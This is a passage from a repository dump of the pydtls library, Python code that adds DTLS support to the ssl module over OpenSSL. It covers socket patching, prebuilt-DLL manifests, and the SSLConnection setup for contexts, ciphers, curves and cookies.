_get_server_certificate 79 | patch_ssl_errors() 80 | raise_as_ssl_module_error() 81 | 82 | def _wrap_socket(sock, keyfile=None, certfile=None, 83 | server_side=False, cert_reqs=CERT_NONE, 84 | ssl_version=PROTOCOL_DTLS, ca_certs=None, 85 | do_handshake_on_connect=True, 86 | suppress_ragged_eofs=True, 87 | ciphers=None, 88 | cb_user_config_ssl_ctx=None, 89 | cb_user_config_ssl=None): 90 | 91 | return ssl.SSLSocket(sock, keyfile=keyfile, certfile=certfile, 92 | server_side=server_side, cert_reqs=cert_reqs, 93 | ssl_version=ssl_version, ca_certs=ca_certs, 94 | do_handshake_on_connect=do_handshake_on_connect, 95 | suppress_ragged_eofs=suppress_ragged_eofs, 96 | ciphers=ciphers, 97 | cb_user_config_ssl_ctx=cb_user_config_ssl_ctx, 98 | cb_user_config_ssl=cb_user_config_ssl) 99 | 100 | def _get_server_certificate(addr, ssl_version=PROTOCOL_SSLv23, ca_certs=None): 101 | """Retrieve a server certificate 102 | 103 | Retrieve the certificate from the server at the specified address, 104 | and return it as a PEM-encoded string. 105 | If 'ca_certs' is specified, validate the server cert against it. 106 | If 'ssl_version' is specified, use it in the connection attempt. 107 | """ 108 | 109 | if ssl_version not in (PROTOCOL_DTLS, PROTOCOL_DTLSv1, PROTOCOL_DTLSv1_2): 110 | return _orig_get_server_certificate(addr, ssl_version, ca_certs) 111 | 112 | if ca_certs is not None: 113 | cert_reqs = ssl.CERT_REQUIRED 114 | else: 115 | cert_reqs = ssl.CERT_NONE 116 | af = getaddrinfo(addr[0], addr[1])[0][0] 117 | s = ssl.wrap_socket(socket(af, SOCK_DGRAM), 118 | ssl_version=ssl_version, 119 | cert_reqs=cert_reqs, ca_certs=ca_certs) 120 | s.connect(addr) 121 | dercert = s.getpeercert(True) 122 | s.close() 123 | return ssl.DER_cert_to_PEM_cert(dercert) 124 | 125 | def _SSLSocket_init(self, sock=None, keyfile=None, certfile=None, 126 | server_side=False, cert_reqs=CERT_NONE, 127 | ssl_version=PROTOCOL_DTLS, ca_certs=None, 128 | do_handshake_on_connect=True, 129 | family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None, 130 | suppress_ragged_eofs=True, npn_protocols=None, ciphers=None, 131 | server_hostname=None, 132 | _context=None, 133 | cb_user_config_ssl_ctx=None, 134 | cb_user_config_ssl=None): 135 | is_connection = is_datagram = False 136 | if isinstance(sock, SSLConnection): 137 | is_connection = True 138 | elif hasattr(sock, "type") and sock.type == SOCK_DGRAM: 139 | is_datagram = True 140 | if not is_connection and not is_datagram: 141 | # Non-DTLS code path 142 | return _orig_SSLSocket_init(self, sock=sock, keyfile=keyfile, 143 | certfile=certfile, server_side=server_side, 144 | cert_reqs=cert_reqs, 145 | ssl_version=ssl_version, ca_certs=ca_certs, 146 | do_handshake_on_connect= 147 | do_handshake_on_connect, 148 | family=family, type=type, proto=proto, 149 | fileno=fileno, 150 | suppress_ragged_eofs=suppress_ragged_eofs, 151 | npn_protocols=npn_protocols, 152 | ciphers=ciphers, 153 | server_hostname=server_hostname, 154 | _context=_context) 155 | # DTLS code paths: datagram socket and newly accepted DTLS connection 156 | if is_datagram: 157 | socket.__init__(self, _sock=sock._sock) 158 | else: 159 | socket.__init__(self, _sock=sock.get_socket(True)._sock) 160 | # Copy instance initialization from SSLSocket class 161 | for attr in _delegate_methods: 162 | try: 163 | delattr(self, attr) 164 | except AttributeError: 165 | pass 166 | 167 | if certfile and not keyfile: 168 | keyfile = certfile 169 | if is_datagram: 170 | # see if it's connected 171 | try: 172 | socket.getpeername(self) 173 | except socket_error, e: 174 | if e.errno != errno.ENOTCONN: 175 | raise 176 | # no, no connection yet 177 | self._connected = False 178 | self._sslobj = None 179 | else: 180 | # yes, create the SSL object 181 | self._connected = True 182 | self._sslobj = SSLConnection(sock, keyfile, certfile, 183 | server_side, cert_reqs, 184 | ssl_version, ca_certs, 185 | do_handshake_on_connect, 186 | suppress_ragged_eofs, ciphers, 187 | cb_user_config_ssl_ctx=cb_user_config_ssl_ctx, 188 | cb_user_config_ssl=cb_user_config_ssl) 189 | else: 190 | self._connected = True 191 | self._sslobj = sock 192 | 193 | class FakeContext(object): 194 | check_hostname = False 195 | 196 | self._context = FakeContext() 197 | self.keyfile = keyfile 198 | self.certfile = certfile 199 | self.cert_reqs = cert_reqs 200 | self.ssl_version = ssl_version 201 | self.ca_certs = ca_certs 202 | self.ciphers = ciphers 203 | self.do_handshake_on_connect = do_handshake_on_connect 204 | self.suppress_ragged_eofs = suppress_ragged_eofs 205 | self._makefile_refs = 0 206 | self._user_config_ssl_ctx = cb_user_config_ssl_ctx 207 | self._user_config_ssl = cb_user_config_ssl 208 | 209 | # Perform method substitution and addition (without reference cycle) 210 | self._real_connect = MethodType(_SSLSocket_real_connect, proxy(self)) 211 | self.listen = MethodType(_SSLSocket_listen, proxy(self)) 212 | self.accept = MethodType(_SSLSocket_accept, proxy(self)) 213 | self.get_timeout = MethodType(_SSLSocket_get_timeout, proxy(self)) 214 | self.handle_timeout = MethodType(_SSLSocket_handle_timeout, proxy(self)) 215 | 216 | # Extra 217 | self.getpeercertchain = MethodType(_getpeercertchain, proxy(self)) 218 | 219 | def _getpeercertchain(self, binary_form=False): 220 | return self._sslobj.getpeercertchain(binary_form) 221 | 222 | def _SSLSocket_listen(self, ignored): 223 | if self._connected: 224 | raise ValueError("attempt to listen on connected SSLSocket!") 225 | if self._sslobj: 226 | return 227 | self._sslobj = SSLConnection(socket(_sock=self._sock), 228 | self.keyfile, self.certfile, True, 229 | self.cert_reqs, self.ssl_version, 230 | self.ca_certs, 231 | self.do_handshake_on_connect, 232 | self.suppress_ragged_eofs, self.ciphers, 233 | cb_user_config_ssl_ctx=self._user_config_ssl_ctx, 234 | cb_user_config_ssl=self._user_config_ssl) 235 | 236 | def _SSLSocket_accept(self): 237 | if self._connected: 238 | raise ValueError("attempt to accept on connected SSLSocket!") 239 | if not self._sslobj: 240 | raise ValueError("attempt to accept on SSLSocket prior to listen!") 241 | acc_ret = self._sslobj.accept() 242 | if not acc_ret: 243 | return 244 | new_conn, addr = acc_ret 245 | new_ssl_sock = ssl.SSLSocket(new_conn, self.keyfile, self.certfile, True, 246 | self.cert_reqs, self.ssl_version, 247 | self.ca_certs, 248 | self.do_handshake_on_connect, 249 | self.suppress_ragged_eofs, self.ciphers, 250 | cb_user_config_ssl_ctx=self._user_config_ssl_ctx, 251 | cb_user_config_ssl=self._user_config_ssl) 252 | return new_ssl_sock, addr 253 | 254 | def _SSLSocket_real_connect(self, addr, return_errno): 255 | if self._connected: 256 | raise ValueError("attempt to connect already-connected SSLSocket!") 257 | self._sslobj = SSLConnection(socket(_sock=self._sock), 258 | self.keyfile, self.certfile, False, 259 | self.cert_reqs, self.ssl_version, 260 | self.ca_certs, 261 | self.do_handshake_on_connect, 262 | self.suppress_ragged_eofs, self.ciphers, 263 | cb_user_config_ssl_ctx=self._user_config_ssl_ctx, 264 | cb_user_config_ssl=self._user_config_ssl) 265 | try: 266 | self._sslobj.connect(addr) 267 | except socket_error as e: 268 | if return_errno: 269 | return e.errno 270 | else: 271 | self._sslobj = None 272 | raise e 273 | self._connected = True 274 | return 0 275 | 276 | 277 | if __name__ == "__main__": 278 | do_patch() 279 | 280 | def _SSLSocket_get_timeout(self): 281 | return self._sslobj.get_timeout() 282 | 283 | def _SSLSocket_handle_timeout(self): 284 | return self._sslobj.handle_timeout() 285 | -------------------------------------------------------------------------------- /pydtls/dtls/prebuilt/win32-x86/libeay32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ioncodes/BlueGate/b0fe9029a2f701bffdfdc60e4d91d5678c0cd7b5/pydtls/dtls/prebuilt/win32-x86/libeay32.dll -------------------------------------------------------------------------------- /pydtls/dtls/prebuilt/win32-x86/manifest.pycfg: -------------------------------------------------------------------------------- 1 | # Prebuilt directory manifest. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | # This file is executed by the distribution builder, as well as the dtls 20 | # package startup code; the purpose of the latter is being able to run 21 | # from a cloned source directory without executing any sort of installation 22 | # procedure. This file provides the definitions required to create 23 | # a distribution including this directory's prebuilts. 24 | 25 | from os import path 26 | from glob import glob 27 | 28 | assert MANIFEST_DIR 29 | 30 | ARCHITECTURE = "win32" 31 | FORMATS = "zip" 32 | FILES = map(lambda x: path.basename(x), 33 | glob(path.join(MANIFEST_DIR, "*.dll"))) 34 | -------------------------------------------------------------------------------- /pydtls/dtls/prebuilt/win32-x86/ssleay32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ioncodes/BlueGate/b0fe9029a2f701bffdfdc60e4d91d5678c0cd7b5/pydtls/dtls/prebuilt/win32-x86/ssleay32.dll -------------------------------------------------------------------------------- /pydtls/dtls/prebuilt/win32-x86_64/libeay32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ioncodes/BlueGate/b0fe9029a2f701bffdfdc60e4d91d5678c0cd7b5/pydtls/dtls/prebuilt/win32-x86_64/libeay32.dll -------------------------------------------------------------------------------- /pydtls/dtls/prebuilt/win32-x86_64/manifest.pycfg: -------------------------------------------------------------------------------- 1 | # Prebuilt directory manifest. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | # This file is executed by the distribution builder, as well as the dtls 20 | # package startup code; the purpose of the latter is being able to run 21 | # from a cloned source directory without executing any sort of installation 22 | # procedure. This file provides the definitions required to create 23 | # a distribution including this directory's prebuilts. 24 | 25 | from os import path 26 | from glob import glob 27 | 28 | assert MANIFEST_DIR 29 | 30 | ARCHITECTURE = "win-amd64" 31 | FORMATS = "zip" 32 | FILES = map(lambda x: path.basename(x), 33 | glob(path.join(MANIFEST_DIR, "*.dll"))) 34 | -------------------------------------------------------------------------------- /pydtls/dtls/prebuilt/win32-x86_64/ssleay32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ioncodes/BlueGate/b0fe9029a2f701bffdfdc60e4d91d5678c0cd7b5/pydtls/dtls/prebuilt/win32-x86_64/ssleay32.dll -------------------------------------------------------------------------------- /pydtls/dtls/sslconnection.py: -------------------------------------------------------------------------------- 1 | # SSL connection: state and behavior associated with the connection between 2 | # the OpenSSL library and an individual peer. 3 | 4 | # Copyright 2012 Ray Brown 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # The License is also distributed with this work in the file named "LICENSE." 13 | # 14 | # Unless required by applicable law or agreed to in writing, software 15 | # distributed under the License is distributed on an "AS IS" BASIS, 16 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | # See the License for the specific language governing permissions and 18 | # limitations under the License. 19 | 20 | """SSL Connection 21 | 22 | This module encapsulates the state and behavior associated with the connection 23 | between the OpenSSL library and an individual peer when using the DTLS 24 | protocol. It defines the application side of the interface of a client with a 25 | DTLS server, and of a server with a DTLS client. 26 | 27 | Classes: 28 | 29 | SSLConnection -- DTLS peer association 30 | 31 | Integer constants: 32 | 33 | PROTOCOL_DTLSv1 34 | 35 | The cert group must coincide in meaning and value with the one of the standard 36 | library's ssl module, since its values can be passed to this module. 37 | 38 | CERT_NONE 39 | CERT_OPTIONAL 40 | CERT_REQUIRED 41 | """ 42 | 43 | import sys 44 | import errno 45 | import socket 46 | import hmac 47 | import datetime 48 | from logging import getLogger 49 | from os import urandom 50 | from select import select 51 | from weakref import proxy 52 | 53 | from err import openssl_error, InvalidSocketError 54 | from err import raise_ssl_error 55 | from err import SSL_ERROR_WANT_READ, SSL_ERROR_SYSCALL 56 | from err import ERR_WRONG_VERSION_NUMBER, ERR_COOKIE_MISMATCH, ERR_NO_SHARED_CIPHER 57 | from err import ERR_NO_CIPHER, ERR_HANDSHAKE_TIMEOUT, ERR_PORT_UNREACHABLE 58 | from err import ERR_READ_TIMEOUT, ERR_WRITE_TIMEOUT 59 | from err import ERR_BOTH_KEY_CERT_FILES, ERR_BOTH_KEY_CERT_FILES_SVR, ERR_NO_CERTS 60 | from x509 import _X509, decode_cert 61 | from tlock import tlock_init 62 | from openssl import * 63 | from util import _Rsrc, _BIO 64 | 65 | _logger = getLogger(__name__) 66 | 67 | PROTOCOL_DTLSv1 = 256 68 | PROTOCOL_DTLSv1_2 = 258 69 | PROTOCOL_DTLS = 259 70 | CERT_NONE = 0 71 | CERT_OPTIONAL = 1 72 | CERT_REQUIRED = 2 73 | 74 | # 75 | # One-time global OpenSSL library initialization 76 | # 77 | SSL_library_init() 78 | SSL_load_error_strings() 79 | tlock_init() 80 | DTLS_OPENSSL_VERSION_NUMBER = SSLeay() 81 | DTLS_OPENSSL_VERSION = SSLeay_version(SSLEAY_VERSION) 82 | DTLS_OPENSSL_VERSION_INFO = ( 83 | DTLS_OPENSSL_VERSION_NUMBER >> 28 & 0xFF, # major 84 | DTLS_OPENSSL_VERSION_NUMBER >> 20 & 0xFF, # minor 85 | DTLS_OPENSSL_VERSION_NUMBER >> 12 & 0xFF, # fix 86 | DTLS_OPENSSL_VERSION_NUMBER >> 4 & 0xFF, # patch 87 | DTLS_OPENSSL_VERSION_NUMBER & 0xF) # status 88 | 89 | 90 | def _ssl_logging_cb(conn, where, return_code): 91 | _state = where & ~SSL_ST_MASK 92 | state = "SSL" 93 | if _state & SSL_ST_INIT == SSL_ST_INIT: 94 | if _state & SSL_ST_RENEGOTIATE == SSL_ST_RENEGOTIATE: 95 | state += "_renew" 96 | else: 97 | state += "_init" 98 | elif _state & SSL_ST_CONNECT: 99 | state += "_connect" 100 | elif _state & SSL_ST_ACCEPT: 101 | state += "_accept" 102 | elif _state == 0: 103 | if where & SSL_CB_HANDSHAKE_START: 104 | state += "_handshake_start" 105 | elif where & SSL_CB_HANDSHAKE_DONE: 106 | state += "_handshake_done" 107 | 108 | if where & SSL_CB_LOOP: 109 | state += '_loop' 110 | _logger.debug("%s:%s:%d" % (state, 111 | SSL_state_string_long(conn), 112 | return_code)) 113 | 114 | elif where & SSL_CB_ALERT: 115 | state += '_alert' 116 | state += "_read" if where & SSL_CB_READ else "_write" 117 | _logger.debug("%s:%s:%s" % (state, 118 | SSL_alert_type_string_long(return_code), 119 | SSL_alert_desc_string_long(return_code))) 120 | 121 | elif where & SSL_CB_EXIT: 122 | state += '_exit' 123 | if return_code == 0: 124 | _logger.debug("%s:%s:%d(failed)" % (state, 125 | SSL_state_string_long(conn), 126 | return_code)) 127 | elif return_code < 0: 128 | _logger.debug("%s:%s:%d(error)" % (state, 129 | SSL_state_string_long(conn), 130 | return_code)) 131 | else: 132 | _logger.debug("%s:%s:%d" % (state, 133 | SSL_state_string_long(conn), 134 | return_code)) 135 | 136 | else: 137 | _logger.debug("%s:%s:%d" % (state, 138 | SSL_state_string_long(conn), 139 | return_code)) 140 | 141 | 142 | class _CTX(_Rsrc): 143 | """SSL_CTX wrapper""" 144 | def __init__(self, value): 145 | super(_CTX, self).__init__(value) 146 | 147 | def __del__(self): 148 | _logger.debug("Freeing SSL CTX: %d", self.raw) 149 | SSL_CTX_free(self._value) 150 | self._value = None 151 | 152 | 153 | class _SSL(_Rsrc): 154 | """SSL structure wrapper""" 155 | def __init__(self, value): 156 | super(_SSL, self).__init__(value) 157 | 158 | def __del__(self): 159 | _logger.debug("Freeing SSL: %d", self.raw) 160 | SSL_free(self._value) 161 | self._value = None 162 | 163 | 164 | class _CallbackProxy(object): 165 | """Callback gateway to an SSLConnection object 166 | 167 | This class forms a weak connection between a callback method and 168 | an SSLConnection object. It can be passed as a callback callable 169 | without creating a strong reference through bound methods of 170 | the SSLConnection. 171 | """ 172 | 173 | def __init__(self, cbm): 174 | self.ssl_connection = proxy(cbm.im_self) 175 | self.ssl_func = cbm.im_func 176 | 177 | def __call__(self, *args, **kwargs): 178 | return self.ssl_func(self.ssl_connection, *args, **kwargs) 179 | 180 | 181 | class SSLContext(object): 182 | 183 | def __init__(self, ctx): 184 | self._ctx = ctx 185 | 186 | def set_ciphers(self, ciphers): 187 | u''' 188 | s.a. https://www.openssl.org/docs/man1.1.0/apps/ciphers.html 189 | 190 | :param str ciphers: Example "AES256-SHA:ECDHE-ECDSA-AES256-SHA", ... 191 | :return: 1 for success and 0 for failure 192 | ''' 193 | retVal = SSL_CTX_set_cipher_list(self._ctx, ciphers) 194 | return retVal 195 | 196 | def set_sigalgs(self, sigalgs): 197 | u''' 198 | s.a. https://www.openssl.org/docs/man1.1.0/ssl/SSL_CTX_set1_sigalgs_list.html 199 | 200 | :param str sigalgs: Example "RSA+SHA256", "ECDSA+SHA256", ... 201 | :return: 1 for success and 0 for failure 202 | ''' 203 | retVal = SSL_CTX_set1_sigalgs_list(self._ctx, sigalgs) 204 | return retVal 205 | 206 | def set_curves(self, curves): 207 | u''' Set supported curves by name, nid or nist. 208 | 209 | :param str | tuple(int) curves: Example "secp384r1:secp256k1", (715, 714), "P-384", "K-409:B-409:K-571", ... 210 | :return: 1 for success and 0 for failure 211 | ''' 212 | retVal = None 213 | if isinstance(curves, str): 214 | retVal = SSL_CTX_set1_curves_list(self._ctx, curves) 215 | elif isinstance(curves, tuple): 216 | retVal = SSL_CTX_set1_curves(self._ctx, curves, len(curves)) 217 | return retVal 218 | 219 | @staticmethod 220 | def get_ec_nist2nid(nist): 221 | if not isinstance(nist, tuple): 222 | nist = nist.split(":") 223 | nid = tuple(EC_curve_nist2nid(x) for x in nist) 224 | return nid 225 | 226 | @staticmethod 227 | def get_ec_nid2nist(nid): 228 | if not isinstance(nid, tuple): 229 | nid = (nid, ) 230 | nist = ":".join([EC_curve_nid2nist(x) for x in nid]) 231 | return nist 232 | 233 | @staticmethod 234 | def get_ec_available(bAsName=True): 235 | curves = get_elliptic_curves() 236 | return sorted([x.name for x in curves] if bAsName else [x.nid for x in curves]) 237 | 238 | def set_ecdh_curve(self, curve_name=None): 239 | u''' Select a curve to use for ECDH(E) key exchange or set it to auto mode 240 | 241 | Used for server only! 242 | 243 | s.a. openssl.exe ecparam -list_curves 244 | 245 | :param None | str curve_name: None = Auto-mode, "secp256k1", "secp384r1", ... 246 | :return: 1 for success and 0 for failure 247 | ''' 248 | if curve_name: 249 | retVal = SSL_CTX_set_ecdh_auto(self._ctx, 0) 250 | avail_curves = get_elliptic_curves() 251 | key = [curve for curve in avail_curves if curve.name == curve_name][0].to_EC_KEY() 252 | retVal &= SSL_CTX_set_tmp_ecdh(self._ctx, key) 253 | else: 254 | retVal = SSL_CTX_set_ecdh_auto(self._ctx, 1) 255 | return retVal 256 | 257 | def build_cert_chain(self, flags=SSL_BUILD_CHAIN_FLAG_NONE): 258 | u''' 259 | Used for server side only! 260 | 261 | :param flags: 262 | :return: 1 for success and 0 for failure 263 | ''' 264 | retVal = SSL_CTX_build_cert_chain(self._ctx, flags) 265 | return retVal 266 | 267 | def set_ssl_logging(self, enable=False, func=_ssl_logging_cb): 268 | u''' Enable or disable SSL logging 269 | 270 | :param True | False enable: Enable or disable SSL logging 271 | :param func: Callback function for logging 272 | ''' 273 | if enable: 274 | SSL_CTX_set_info_callback(self._ctx, func) 275 | else: 276 | SSL_CTX_set_info_callback(self._ctx, 0) 277 | 278 | 279 | class SSL(object): 280 | 281 | def __init__(self, ssl): 282 | self._ssl = ssl 283 | 284 | def set_mtu(self, mtu=None): 285 | if mtu: 286 | SSL_set_options(self._ssl, SSL_OP_NO_QUERY_MTU) 287 | SSL_set_mtu(self._ssl, mtu) 288 | else: 289 | SSL_clear_options(self._ssl, SSL_OP_NO_QUERY_MTU) 290 | 291 | def set_link_mtu(self, mtu=None): 292 | if mtu: 293 | SSL_set_options(self._ssl, SSL_OP_NO_QUERY_MTU) 294 | DTLS_set_link_mtu(self._ssl, mtu) 295 | else: 296 | SSL_clear_options(self._ssl, SSL_OP_NO_QUERY_MTU) 297 | 298 | 299 | class SSLConnection(object): 300 | """DTLS peer association 301 | 302 | This class associates two DTLS peer instances, wrapping OpenSSL library 303 | state including SSL (struct ssl_st), SSL_CTX, and BIO instances. 304 | """ 305 | 306 | _rnd_key = urandom(16) 307 | 308 | def _init_server(self, peer_address): 309 | if self._sock.type != socket.SOCK_DGRAM: 310 | raise InvalidSocketError("sock must be of type SOCK_DGRAM") 311 | 312 | self._wbio = _BIO(BIO_new_dgram(self._sock.fileno(), BIO_NOCLOSE)) 313 | if peer_address: 314 | # Connect directly to this client peer, bypassing the demux 315 | rsock = self._sock 316 | BIO_dgram_set_connected(self._wbio.value, peer_address) 317 | else: 318 | from demux import UDPDemux 319 | self._udp_demux = UDPDemux(self._sock) 320 | rsock = self._udp_demux.get_connection(None) 321 | if rsock is self._sock: 322 | self._rbio = self._wbio 323 | else: 324 | self._rsock = rsock 325 | self._rbio = _BIO(BIO_new_dgram(self._rsock.fileno(), BIO_NOCLOSE)) 326 | server_method = DTLS_server_method 327 | if self._ssl_version == PROTOCOL_DTLSv1_2: 328 | server_method = DTLSv1_2_server_method 329 | elif self._ssl_version == PROTOCOL_DTLSv1: 330 | server_method = DTLSv1_server_method 331 | self._ctx = _CTX(SSL_CTX_new(server_method())) 332 | self._intf_ssl_ctx = SSLContext(self._ctx.value) 333 | SSL_CTX_set_session_cache_mode(self._ctx.value, SSL_SESS_CACHE_OFF) 334 | if self._cert_reqs == CERT_NONE: 335 | verify_mode = SSL_VERIFY_NONE 336 | elif self._cert_reqs == CERT_OPTIONAL: 337 | verify_mode = SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE 338 | else: 339 | verify_mode = SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE | \ 340 | SSL_VERIFY_FAIL_IF_NO_PEER_CERT 341 | self._config_ssl_ctx(verify_mode) 342 | if not peer_address: 343 | # Configure UDP listening socket 344 | self._listening = False 345 | self._listening_peer_address = None 346 | self._pending_peer_address = None 347 | self._cb_keepalive = SSL_CTX_set_cookie_cb( 348 | self._ctx.value, 349 | _CallbackProxy(self._generate_cookie_cb), 350 | _CallbackProxy(self._verify_cookie_cb)) 351 | self._ssl = _SSL(SSL_new(self._ctx.value)) 352 | self._intf_ssl = SSL(self._ssl.value) 353 | SSL_set_accept_state(self._ssl.value) 354 | if peer_address and self._do_handshake_on_connect: 355 | return lambda: self.do_handshake() 356 | 357 | def _init_client(self, peer_address): 358 | if self._sock.type != socket.SOCK_DGRAM: 359 | raise InvalidSocketError("sock must be of type SOCK_DGRAM") 360 | 361 | self._wbio = _BIO(BIO_new_dgram(self._sock.fileno(), BIO_NOCLOSE)) 362 | self._rbio = self._wbio 363 | client_method = DTLSv1_2_client_method # no "any" exists, therefore use v1_2 (highest possible) 364 | if self._ssl_version == PROTOCOL_DTLSv1_2: 365 | client_method = DTLSv1_2_client_method 366 | elif self._ssl_version == PROTOCOL_DTLSv1: 367 | client_method = DTLSv1_client_method 368 | self._ctx = _CTX(SSL_CTX_new(client_method())) 369 | self._intf_ssl_ctx = SSLContext(self._ctx.value) 370 | if self._cert_reqs == CERT_NONE: 371 | verify_mode = SSL_VERIFY_NONE 372 | else: 373 | verify_mode = SSL_VERIFY_PEER 374 | self._config_ssl_ctx(verify_mode) 375 | self._ssl = _SSL(SSL_new(self._ctx.value)) 376 | self._intf_ssl = SSL(self._ssl.value) 377 | SSL_set_connect_state(self._ssl.value) 378 | if peer_address: 379 | return lambda: self.connect(peer_address) 380 | 381 | def _config_ssl_ctx(self, verify_mode): 382 | SSL_CTX_set_verify(self._ctx.value, verify_mode) 383 | SSL_CTX_set_read_ahead(self._ctx.value, 1) 384 | # Compression occurs at the stream layer now, leading to datagram 385 | # corruption when packet loss occurs 386 | SSL_CTX_set_options(self._ctx.value, SSL_OP_NO_COMPRESSION) 387 | if self._certfile: 388 | SSL_CTX_use_certificate_chain_file(self._ctx.value, self._certfile) 389 | if self._keyfile: 390 | SSL_CTX_use_PrivateKey_file(self._ctx.value, self._keyfile, 391 | SSL_FILE_TYPE_PEM) 392 | if self._ca_certs: 393 | SSL_CTX_load_verify_locations(self._ctx.value, self._ca_certs, None) 394 | if self._ciphers: 395 | try: 396 | SSL_CTX_set_cipher_list(self._ctx.value, self._ciphers) 397 | except openssl_error() as err: 398 | raise_ssl_error(ERR_NO_CIPHER, err) 399 | if self._user_config_ssl_ctx: 400 | self._user_config_ssl_ctx(self._intf_ssl_ctx) 401 | 402 | def _copy_server(self): 403 | source = self._sock 404 | self._udp_demux = source._udp_demux 405 | rsock = self._udp_demux.get_connection(source._pending_peer_address) 406 | self._ctx = source._ctx 407 | self._ssl = source._ssl 408 | new_source_wbio = _BIO(BIO_new_dgram(source._sock.fileno(), 409 | BIO_NOCLOSE)) 410 | if hasattr(source, "_rsock"): 411 | self._sock = source._sock 412 | self._rsock = rsock 413 | self._wbio = _BIO(BIO_new_dgram(self._sock.fileno(), BIO_NOCLOSE)) 414 | self._rbio = _BIO(BIO_new_dgram(rsock.fileno(), BIO_NOCLOSE)) 415 | new_source_rbio = _BIO(BIO_new_dgram(source._rsock.fileno(), 416 | BIO_NOCLOSE)) 417 | BIO_dgram_set_peer(self._wbio.value, source._pending_peer_address) 418 | else: 419 | self._sock = rsock 420 | self._wbio = _BIO(BIO_new_dgram(self._sock.fileno(), BIO_NOCLOSE)) 421 | self._rbio = self._wbio 422 | new_source_rbio = new_source_wbio 423 | BIO_dgram_set_connected(self._wbio.value, 424 | source._pending_peer_address) 425 | source._ssl = _SSL(SSL_new(self._ctx.value)) 426 | self._intf_ssl = SSL(source._ssl.value) 427 | SSL_set_accept_state(source._ssl.value) 428 | if self._user_config_ssl: 429 | self._user_config_ssl(self._intf_ssl) 430 | source._rbio = new_source_rbio 431 | source._wbio = new_source_wbio 432 | SSL_set_bio(source._ssl.value, 433 | new_source_rbio.value, 434 | new_source_wbio.value) 435 | new_source_rbio.disown() 436 | new_source_wbio.disown() 437 | 438 | def _reconnect_unwrapped(self): 439 | source = self._sock 440 | self._sock = source._wsock 441 | self._udp_demux = source._demux 442 | self._rsock = source._rsock 443 | self._ctx = source._ctx 444 | self._wbio = _BIO(BIO_new_dgram(self._sock.fileno(), BIO_NOCLOSE)) 445 | self._rbio = _BIO(BIO_new_dgram(self._rsock.fileno(), BIO_NOCLOSE)) 446 | BIO_dgram_set_peer(self._wbio.value, source._peer_address) 447 | self._ssl = _SSL(SSL_new(self._ctx.value)) 448 | self._intf_ssl = SSL(self._ssl.value) 449 | SSL_set_accept_state(self._ssl.value) 450 | if self._user_config_ssl: 451 | self._user_config_ssl(self._intf_ssl) 452 | if self._do_handshake_on_connect: 453 | return lambda: self.do_handshake() 454 | 455 | def _check_nbio(self): 456 | timeout = self._sock.gettimeout() 457 | if self._wbio_nb != timeout is not None: 458 | BIO_set_nbio(self._wbio.value, timeout is not None) 459 | self._wbio_nb = timeout is not None 460 | if self._wbio is not self._rbio: 461 | timeout = self._rsock.gettimeout() 462 | if self._rbio_nb != timeout is not None: 463 | BIO_set_nbio(self._rbio.value, timeout is not None) 464 | self._rbio_nb = timeout is not None 465 | return timeout # read channel timeout 466 | 467 | def _wrap_socket_library_call(self, call, timeout_error): 468 | timeout_sec_start = timeout_sec = self._check_nbio() 469 | # Pass the call if the socket is blocking or non-blocking 470 | if not timeout_sec: # None (blocking) or zero (non-blocking) 471 | return call() 472 | start_time = datetime.datetime.now() 473 | read_sock = self.get_socket(True) 474 | need_select = False 475 | while timeout_sec > 0: 476 | if need_select: 477 | if not select([read_sock], [], [], timeout_sec)[0]: 478 | break 479 | timeout_sec = timeout_sec_start - \ 480 | (datetime.datetime.now() - start_time).total_seconds() 481 | try: 482 | return call() 483 | except openssl_error() as err: 484 | if err.ssl_error == SSL_ERROR_WANT_READ: 485 | need_select = True 486 | continue 487 | raise 488 | raise_ssl_error(timeout_error) 489 | 490 | def _get_cookie(self, ssl): 491 | assert self._listening 492 | assert self._ssl.raw == ssl.raw 493 | if self._listening_peer_address: 494 | peer_address = self._listening_peer_address 495 | else: 496 | peer_address = BIO_dgram_get_peer(self._rbio.value) 497 | cookie_hmac = hmac.new(self._rnd_key, str(peer_address)) 498 | return cookie_hmac.digest() 499 | 500 | def _generate_cookie_cb(self, ssl): 501 | return self._get_cookie(ssl) 502 | 503 | def _verify_cookie_cb(self, ssl, cookie): 504 | if self._get_cookie(ssl) != cookie: 505 | raise Exception("DTLS cookie mismatch") 506 | 507 | def __init__(self, sock, keyfile=None, certfile=None, 508 | server_side=False, cert_reqs=CERT_NONE, 509 | ssl_version=PROTOCOL_DTLS, ca_certs=None, 510 | do_handshake_on_connect=True, 511 | suppress_ragged_eofs=True, ciphers=None, 512 | cb_user_config_ssl_ctx=None, 513 | cb_user_config_ssl=None): 514 | """Constructor 515 | 516 | Arguments: 517 | these arguments match the 